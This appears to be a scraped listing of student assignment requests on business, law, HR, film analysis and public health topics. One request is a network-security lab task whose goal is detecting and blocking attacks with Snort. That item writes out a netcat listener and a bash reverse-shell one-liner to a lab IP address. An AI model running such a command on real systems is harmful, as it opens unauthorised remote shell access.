My research question are RQ1 what are the best social media marketing strategies

My research question are
RQ1 what are the best social media marketing strategies

My research question are
RQ1 what are the best social media marketing strategies to improve business?
RQ2 How does social media impact business performance?
And my research objective are as
RO1 to evaluate the best social media marketing strategies to improve business.
R02 to evaluate the impact on business performance by using social media.
I have attached with the required assessment instruction in details along with the templates. Please kindly do take care of grading rubrics. Referencing is also provided.
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I have been told to do my project on Eir / Eircom , The project word count is 80

I have been told to do my project on Eir / Eircom , The project word count is 80

I have been told to do my project on Eir / Eircom , The project word count is 8000+ words Eir, formerly known as eircom is a landline and broadband provider The website address can be viewed here : https://www.eir.ie/

Discussion has four Research Questions (RQs). For each RQ you must provide these

Discussion has four Research Questions (RQs). For each RQ you must provide these

Discussion has four Research Questions (RQs). For each RQ you must provide these three separate components: theory>research>analysis.
The thread must be at least 1,000 words and each RQ must be supported by at least one scholarly citation in the current APA format.
RQ1 What circumstances/realities associated with real estate make it an “imperfect” market?
RQ2 What are the top four factors of demand that effect demand for real estate?
RQ3 What is a product life cycle and how is it related to the real estate market?
RQ4 Is real estate a mature market?

Answer the question below 1. In the US, when a party alleges that contract perfo

Answer the question below
1. In the US, when a party alleges that contract perfo

Answer the question below
1. In the US, when a party alleges that contract performance is impossible or impracticable because of circumstances unforeseen at the time the contract was formed, a court will either discharge the party’s contractual obligations or hold the party to the contract. In other words, if a court agrees that the contract is impossible or impracticable to perform, the remedy is to cancel the contract. Under German law, however, a court may adjust the terms of (reform) a contract in light of economic developments. If an unforeseen event affects the foundation of the agreement, the court can alter the contract’s terms to align with the parties’ original expectations, thus making the contract fair to the parties.
When a contract becomes impossible or impracticable to perform, which remedy would a businessperson prefer – rescission or reformation? Explain your answer.
2. Mitsui Bank hired Ross Duncan as a branch manager in one of its Southern California locations. At that time, Duncan received an employee handbook informing him that Mitsui would review his performance and salary level annually. In 2018, Mitsui decided to create a new lending program to help financially troubled businesses stay afloat. It promoted Duncan to be the credit development officer (CDO) and gave him a written compensation plan. Duncan’s compensation was to be based on the new program’s success and involved a bonus and commissions based on new loans and sales volume. The written plan also stated, “This compensation plan will be reviewed and potentially amended after one year and will be subject to such review and amendment annually thereafter.” Duncan’s efforts as CDO were successful, and the business-lending program he developed grew to represent 25 percent of Mitsui’s business in 2019 and 40 percent by 2020. Nevertheless, Mitsui refused to give Duncan a raise in 2019. Mitsui also amended Duncan’s compensation plan to significantly reduce his compensation and to change his performance evaluation schedule to every six months. When he had still not received a raise by 2020, Duncan resigned as CDO and filed a lawsuit claiming breach of contract. Using the information presented in the chapter, answer the following questions.
a. What are the four requirements of a valid contract?
b. Did Duncan have a valid contract with Mitsui for employment as credit development officer? If so, was it a bilateral or a unilateral contract?
c. What are the requirements of an implied contract?
d. Can Duncan establish an implied contract based on the employment manual or the written compensation plan? Why or why not?

Describe how you can use Snorby, Squil and Squert for network and host security

Describe how you can use Snorby, Squil and Squert for network and host security

Describe how you can use Snorby, Squil and Squert for network and host security monitoring. List any two similar tools that you can use for the same purpose. Discuss two differences between Squil and Squert.
Describe why and how you would process your pcap files with Snort. List two snort rule examples, provide their syntax and describe what they do.
In the “Signature detection and Remote Shells” lab, you used netcat to set up a listener on the Kali machine and executed bash client side code to return a reverse shell. Netcat can be used to set up bind shells and reverse shells. What is the difference between bind and reverse shells? Describe how an organization can prevent bind and reverse shell attacks and the different methods used to prevent bind shell attacks as compared to reverse shell attacks.
As a part of this question you will create a Snort rule that would block content based on the non-case sensitive ASCII string “pport@ST. This will block the remote listener and log in the IPS when an attacker attempts to spawn a remote shell using these commands:
nc -lvp 8
bash –i >& /dev/tcp/192.168.1.5/8 0>&1
You will submit a 750 words report that is clear, concise, and organized.
The report will include and describe at least the following screenshots:
When the remote listener is unblocked and listening.
The new snort rule.
Test the run the new snort rule
Show that the listener is being blocked
Show contents of the log file.

Components in the project: Strategic Planning: This component requires that you

Components in the project:
Strategic Planning: This component requires that you

Components in the project:
Strategic Planning: This component requires that you find the existing strategic plan for the company you have selected (e.g., vision, mission statement, strategy). Generally, a good place to find a company’s strategic plan is its home page on the Web or in the company’s annual report. Read the strategic plan and describe how you will link it to HR policies. How will your HR system be designed so that the company’s strategies are met?
1.Assessing the current HR capacity
Based on the organization’s strategic plan, the first step in the strategic HR planning process is to assess the current HR capacity of the organization (For this project, assume that the current HR capacity is not enough ). The knowledge, skills and abilities of your current staff need to be identified. List all skills each employee has demonstrated. For example, recreational or volunteer activities may involve special skills that could be relevant to the organization. Education levels and certificates or additional training should also be included.
2. Forecasting HR requirements
The next step is to forecast HR needs for the future based on the strategic goals of the organization. Realistic forecasting of human resources involves estimating both demand and supply.
Questions to be answered include:
· How many staff will be required to achieve the strategic goals of the organization?
· What jobs will need to be filled?
· What skill sets will people need?
· When forecasting demands for HR, you must also assess the challenges that you will have in meeting your staffing need based on the external environment.
· How will the external environment impact our HR needs?
3. Gap analysis
The next step is to determine the gap between where your organization wants to be in the future and where you are now. The gap analysis includes identifying the number of staff and the skills and abilities required in the future in comparison to the current situation.
Questions to be answered include:
· What new jobs will we need?
· What new skills will be required?
· Do our present employees have the required skills?
· Are employees currently in positions that use their strengths?
· Do we have enough managers/supervisors?
· Are current HR management practices adequate for future needs?
FORMAT:
Part 1 – The presentation
1. Kindly record your video presentation and upload it. Please be aware that the evaluation will consider members’ gestures during the presentation. Uploading an audio presentation with PowerPoint slides alone will not be considered as fulfilling the presentation requirement
2. Each group will be given 10 minutes maximum to present
4. Develop appropriate visual aids to support your oral presentation.
Part 2 – The Report
Written reports are not to exceed 3,000 words (Use an Appendix for sample materials, PowerPoint slides, etc.). The paper should be Portrait, doubled spaced, in 12-point font of your choice. It is expected that this be a ‘group report’, that is, all members of the group must contribute. Dividing up sections and later cut and pasting these to form a report is not acceptable. Evidence of the whole document being edited in total will be rewarded.

This assignment involves a cultural analysis of the film “My Big Fat Greek Weddi

This assignment involves a cultural analysis of the film “My Big Fat Greek Weddi

This assignment involves a cultural analysis of the film “My Big Fat Greek Wedding”. The objective is to apply cultural concepts and frameworks in interpreting the cultural dynamics in the film and the interactions among the film’s characters, and to assess the implications of such cultural factors for international managers. Find cultural information about the non-US country featured in your assigned film. Highlight those aspects of the culture that are most relevant to the overall film, and compare the culture of the non-US country to relevant aspects of American culture. Consider differences in Hall and Hofstede’s cultural dimensions, as well as core values and beliefs. Focus on the dinner clip at 29:00 minutes -34:44 minutes. Please let me know if you have any questions.
Here is a link to the film: https://drive.google.com/file/d/1prMuUA-5O5hdRR7nnU0r72CO6aQ2PM05/view

Play the role as Chief Financial Officer/Chief Treasury officer for ZenBe Health

Play the role as Chief Financial Officer/Chief Treasury officer for ZenBe Health

Play the role as Chief Financial Officer/Chief Treasury officer for ZenBe Health was to Training lab.ai
Do an assessment on the proforma statements of training lab.ai (current)
Looking at profitability, operating working Capital, and valuation (the worth of the company in 3 to 5 years)
2) Do an assessment on proforma statements of training lab. ai when they integrate 3rd wave ai (aigo) into the operations. You will assess the impact of 3rd wave ai on operating working Capital, profitability and valuation.
I have attached both files below.

Marketing Spotlight – Apple, End of Chapter 8. Answer the questions and follow t

Marketing Spotlight – Apple, End of Chapter 8. Answer the questions and follow t

Marketing Spotlight – Apple, End of Chapter 8. Answer the questions and follow the case study methodology. Provide some background on the issues in three or four paragraphs. remember to cite/ reference page.

Create a nice looking PPT template for a school project to pitch a maternal heal

Create a nice looking PPT template for a school project to pitch a maternal heal

Create a nice looking PPT template for a school project to pitch a maternal health care solution: first slide a touching story, second TAM, and then the rest listed below titles. Thank you it’s for a public health class project to create a template proposal/pitching slides.
1. IMPORTANT please include. Market Overview (create a total addressable market for counties in alameda, San Francisco, San Mateo & Santa Clara) below website has the number for those counties, vs to the national TAM.
Size and Scope: Determine the size of the maternal health market in California, including the number of pregnancies, births, and key demographic trends affecting maternal health services demand.
California has been approximately 450,000 to 500,000 per year.
(https://www.cdph.ca.gov/Programs/CFH/DMCAH/surveillance/Pages/Births.aspx)
2. Customer Segmentation
Demographics: Segment the market by demographics, including age, income level, geographical location, and insurance coverage.
Needs and Preferences: Identify the specific needs and preferences of pregnant individuals in California, including access to high-quality healthcare, affordability, and the desire for non-traditional birthing options.
3. Competitive Analysis
Key Players: Identify key players in California’s maternal health market, including hospitals, birthing centers, home birth services, and telehealth providers.
Services Offered: Compare the range of services offered, pricing models, and unique value propositions.
Market Share: Assess the market share of major providers and identify any gaps in services or areas of unmet need.
4. Regulatory Environment
Healthcare Regulations: Review California-specific healthcare regulations that impact maternal health services, including licensing requirements for healthcare providers and facilities.
Insurance and Medicaid: Understand the role of insurance coverage, including private insurance and Medicaid (Medi-Cal in California), in accessing maternal health services.
The medical costs associated with giving birth — throughout the pregnancy, delivery and postpartum care — average about $18,865 in the United States. Cesarean sections (C-sections) cost about $26,280, and complicated or high-risk pregnancies can increase costs. Insurance greatly reduces average costs to just under $2,900. These numbers don’t include fertility care or over-the-counter drugs such as prenatal vitamins.
If you see out-of-network providers, your costs could be much higher. Be sure to check with your plan and understand which services and providers are covered and how much your out-of-pocket costs will be.
In the past, you might have received unexpected bills if you checked into an in-network hospital where an out-of-network provider, such as the person administering anesthesia, treated you. In 2022, the No Surprises Act went into effect, so you can no longer be charged extra for out-of-network services delivered at an in-network facility. It also protects you from higher costs from out-of-network air ambulance services.
If you don’t have a qualifying life event or you missed open enrollment, you may still qualify for Medicaid or the Children’s Health Insurance Program (CHIP), even if your income is above the typical eligibility requirements.
Neither of these programs has enrollment periods, so you can qualify at any time. Both cover pregnancy benefits. In fact, qualified pregnant women are considered a mandatory eligibility group in all states, so any state-run Medicaid program must cover them.
Eligibility for Medicaid is typically based on income, but pregnancy opens up a few more options and expands the usual income limits. Here are some of the options you can find in California through the state’s Medi-Cal program:
Full-scope Medi-Cal: Standard Medicaid eligibility is based on the federal poverty level (FPL). For instance, you might be eligible for Medi-Cal if your income is below 138% of the FPL. In 2022, that number was $27,750 for a four-person household.
Medi-Cal for pregnancy: If you’re pregnant, you can become eligible for Medi-Cal if your income is below 213% of the poverty level, or $59,108 for a family of four. This program is available regardless of immigration status and offers postpartum coverage for up to one year after your pregnancy.
The Medi-Cal Access Program: This program is available to pregnant individuals with incomes within 213%-322% of the poverty level, or $89,355 for a family of four. It also doesn’t consider immigration status and covers pregnancy-related care. It can even help if you have health insurance that doesn’t meet your needs or has too high of a payment.
CHIP is a program within Medicaid offering coverage to children whose families earn too much to qualify for Medicaid but still need assistance. In California, CHIP also offers health care for pregnancy. It can help you get coverage for your child after birth, too.
Even if you think you won’t qualify for Medicaid or CHIP, apply anyway. Pregnancy can make you more likely to fall under the “medically needy” category and help you get affordable coverage. We’ll discuss our Medicaid enrollment guide later on.